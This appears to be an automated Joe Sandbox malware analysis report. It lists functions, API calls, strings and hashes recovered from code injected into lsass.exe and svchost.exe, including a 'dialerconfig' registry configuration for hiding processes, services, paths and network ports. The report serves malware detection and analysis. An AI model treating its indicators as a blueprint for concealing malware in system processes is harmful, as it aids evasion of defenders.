String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fdcdef5ba31d8dbb8912a9a905e6b67567b4155f9952f6a6302e3e1a43461dee
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4831CF3122174487E792DF13E844BDA37A7FB48B98F258414EF8A037A8CB38C952D704

Function 00000140AE872058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000140AE8720D7
WriteFile.KERNEL32 ref: 00000140AE87239F
WriteFile.KERNEL32 ref: 00000140AE8723E5
GetLastError.KERNEL32 ref: 00000140AE87249B

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 4b0a4d86e2932106c0371b6ae4a27eadaf1a36e0bf94906de29ca74a04e3cc8d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 44D1D072B54B8089E712CFAAD5403EC3BB1F3587A8F244216CF5D97BA9DA34C946C381

Function 00000140AE8614A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE8614C5
HeapFree.KERNEL32 ref: 00000140AE8614D4
GetProcessHeap.KERNEL32 ref: 00000140AE8614E1
HeapFree.KERNEL32 ref: 00000140AE8614F0
GetProcessHeap.KERNEL32 ref: 00000140AE861500

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: e0938be913c4546f92e354b3f490316f5aad01bc8c73eed3b2a93003b4ccae50
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 4C015A32A40B90C6E706DF67E94828A77A1F78DFA1F244425EF4E4372ADE38C851C791

Function 00000140AE872980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000140AE872A9C
GetLastError.KERNEL32 ref: 00000140AE872B27

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: bfe30e0d5e1943aced18828ddcaefd42f41aed77c308e3009ff5d43c7c6b682c
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A491AFB264075085F762DF6A94803ED3BA4F758BA8F744109DF4E67AA5DB34CC82C782

Function 00000140AE867960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000140AE86798C
GetCurrentThreadId.KERNEL32 ref: 00000140AE86799A
GetCurrentProcessId.KERNEL32 ref: 00000140AE8679A6
QueryPerformanceCounter.KERNEL32 ref: 00000140AE8679B6

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a5c049cb69e96cfbb56616fdcd891d3e75a6c1cb872cb67dafead8936c6c1fcc
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 28110632B50B018AEB008B61E8542A833A4F719768F540E21DF6D87BA4DF78C598D2C1

Function 00000140ADFC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000140ADFC9EB7

Strings

MOC, xrefs: 00000140ADFC9E7C
RCC, xrefs: 00000140ADFC9E85

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: fd2f36d4469ca00d580b9035ee875e4ebab09abcf6c64778c8a765e7c8b01963
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E9619F33610B888AEB21DF66D0403DE77B2FB48B89F244215EF4917BA8DB38D166D700

Function 00000140AE862330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000140AE862416
StrCpyW.SHLWAPI ref: 00000140AE86242D

Strings

\\.\pipe\, xrefs: 00000140AE862421

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: c9d078df74486e421dded553d044dc307dfc5948a87b49d5b9b062cc3c97baf6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EE51E03228438181E676DB2FA1583EAA791F3CD7A4F640165DF4D03BAADA39CD44C7C2

Function 00000140AE8726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE872807
GetLastError.KERNEL32 ref: 00000140AE872829

Strings

U, xrefs: 00000140AE8727B3

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 3e73605a521e4cce57338457d13aec77e0fda4a33a28f7c4ac6780cba42ba59d
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 48417172615B8086DB219F6AE8443E977A1F7987A4F604025EF4D87BA4DB3CC941C781

Function 00000140AE8694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000140AE8694F0
RaiseException.KERNEL32 ref: 00000140AE869531

Strings

csm, xrefs: 00000140AE86951E

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: c81f436458b37827e035cf8ccd5af5f126ed8c86e3896386e64a1e0766a3eb38
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: D7112B32614B8082EB628B16E44439977E5F788BA8F684260EF8C077A9DF3CC955CB40

Function 00000140ADFC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC737C

Strings

riptor at (, xrefs: 00000140ADFC7364
ierarchy Descriptor', xrefs: 00000140ADFC7381

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 56ed09fddae288ef6c89d74bd241d2dfe88a9543861981f92f91ccf0ba0ae745
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: DCE08671650B4892DF038F22E8402D933A3DF5DB68B9891229A5C07321FA38D1FAD301

Function 00000140ADFC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC73D8

Strings

riptor at (, xrefs: 00000140ADFC73C0
Locator', xrefs: 00000140ADFC73DD

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 4940423c840106aa278dadeec7b987efc7fd2bbde3a41644df2d62b25ed6cadf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 05E08671610B4886DF028F22E4401D97363EF5DB58B989122CA4C07321FA38D1E6D300

Function 00000140AE861BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861C2D
HeapAlloc.KERNEL32 ref: 00000140AE861C3B
GetProcessHeap.KERNEL32 ref: 00000140AE861C77
HeapFree.KERNEL32 ref: 00000140AE861C85

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 65c83ae18bbeee38c1f395d24bd21a894001158fe5ba6808c8c40ff99673c146
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 0F119E35A41B5485EB46DB6BA8082A977A1FB8DFE0F284028DF4D47776DF38C842D381

Function 00000140AE861268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE86126E
HeapAlloc.KERNEL32 ref: 00000140AE86127D
GetProcessHeap.KERNEL32 ref: 00000140AE861297
HeapAlloc.KERNEL32 ref: 00000140AE8612A8

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8c25a065afb30b7e91423b8a6a5c310c77542b609ab35f2169316764477aec7c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 47E03935A4170486EB068B63D80838A36E1EB8EB26F2480248E0907361DF7D8899D7A1

Analysis Process: svchost.exePID: 924, Parent PID: 3876COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000195DD5C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000195DD5C32AE
PathFindFileNameW.SHLWAPI ref: 00000195DD5C32BD

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Part of subcall function 00000195DD5C3790: GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

CreateThread.KERNEL32 ref: 00000195DD5C330B

Part of subcall function 00000195DD5C1D14: GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b559a2181ff40e2a117a780b745b7d932bb3298ad3057c49ecb9ab2035d3dd06
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 9C11C030A12F0C82FB72ABE9F9387D923D7A784B85F504124DA06E1EA5EFB9C044C350

Function 00000195DD5C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000195DD5C1628: GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
Part of subcall function 00000195DD5C1628: HeapAlloc.KERNEL32 ref: 00000195DD5C1642
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA

Sleep.KERNEL32 ref: 00000195DD5C1AD7
SleepEx.KERNEL32 ref: 00000195DD5C1ADD

Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: f3b7e964aa4799e71de0d0524ef43308711ea80b0fc304bbb8b55dd9ae371198
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: C7315171202E0951FF52ABAADA70BE963E7AB54BD4F0454218E0EE7FD5FE20C861C750

Function 00000195DD5C3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Strings

dialer, xrefs: 00000195DD5C3855

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 8525adf6a2d64dd7061414e58bca951bdbbd2a01b88122cd2fc985ec43bc3963
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 89D0A770353B0DC7FF26DFEA88E46E423E2EB08744F884030C90052A50DB18898D9B20

Function 00000195DD59273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000195DD59285E

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 3c42989a6f1da65d8c668265381177c755b331e9ddf0642a5a91f75fe2288bf4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DF612632B01A90C7DB56CF65D020BBD73D7F754BA4F988125DE5927B88DA38D892CB00

Non-executed Functions

Function 00000195DD5C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000195DD5C2BD0
lstrlenW.KERNEL32 ref: 00000195DD5C2E0A

Part of subcall function 00000195DD5C199C: OpenProcess.KERNEL32 ref: 00000195DD5C19C2
Part of subcall function 00000195DD5C199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
Part of subcall function 00000195DD5C199C: PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
Part of subcall function 00000195DD5C199C: lstrlenW.KERNEL32 ref: 00000195DD5C19FB
Part of subcall function 00000195DD5C199C: StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
Part of subcall function 00000195DD5C199C: CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

GetProcAddress.KERNEL32 ref: 00000195DD5C2BE5

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

StrCmpNIW.SHLWAPI ref: 00000195DD5C2C28
lstrlenW.KERNEL32 ref: 00000195DD5C2D50

Strings

ntdll.dll, xrefs: 00000195DD5C2BC9
NtQueryObject, xrefs: 00000195DD5C2BDB
\Device\Nsi, xrefs: 00000195DD5C2C1B

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction ID: dde7fd9efa89a5466707bb46948bcd2f38f9c7ac15f82b741b3087f18559b81d
Opcode Fuzzy Hash: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction Fuzzy Hash: 40B1AF76212E5882EB669FA9D460BE973E6FB54B84F485016EE09B3F94EF34CC41C740

Function 00000195DD5C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000195DD5C7DAC
RtlCaptureContext.NTDLL ref: 00000195DD5C7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5C7DF3
RtlVirtualUnwind.NTDLL ref: 00000195DD5C7E34
IsDebuggerPresent.KERNEL32 ref: 00000195DD5C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EB4

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: fc690ca620e4485241193952ba8c83509054a4c62fcfc94005514e0c22233189
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: B0314F72205F848AEB619FA4E8607ED73E5F784744F44442ADA4EA7F98EF38C549C710

Function 00000195DD5CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000195DD5CD31D
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5CD335
RtlVirtualUnwind.NTDLL ref: 00000195DD5CD370
IsDebuggerPresent.KERNEL32 ref: 00000195DD5CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3BE

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 88954bb95814ee6b498564cf1bdcac9ec7b9223e226e11f4f982859e9a819e51
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 77313A32215F8486EB618B69E8503DE73E5F789794F500126EA9D93F98EF38C546CB00

Function 00000195DD5C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
HeapAlloc.KERNEL32 ref: 00000195DD5C1642

Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C127D
Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA
RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Part of subcall function 00000195DD5C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C1338
Part of subcall function 00000195DD5C12BC: RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
Part of subcall function 00000195DD5C12BC: HeapFree.KERNEL32 ref: 00000195DD5C1418
Part of subcall function 00000195DD5C12BC: lstrlenW.KERNEL32 ref: 00000195DD5C1421
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C143D

Strings

tcp_remote, xrefs: 00000195DD5C1839
startup, xrefs: 00000195DD5C16D5
service_names, xrefs: 00000195DD5C17C3
tcp_local, xrefs: 00000195DD5C17FE
udp, xrefs: 00000195DD5C1874
SOFTWARE\dialerconfig, xrefs: 00000195DD5C1692
pid, xrefs: 00000195DD5C1712
process_names, xrefs: 00000195DD5C174D
paths, xrefs: 00000195DD5C1788

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
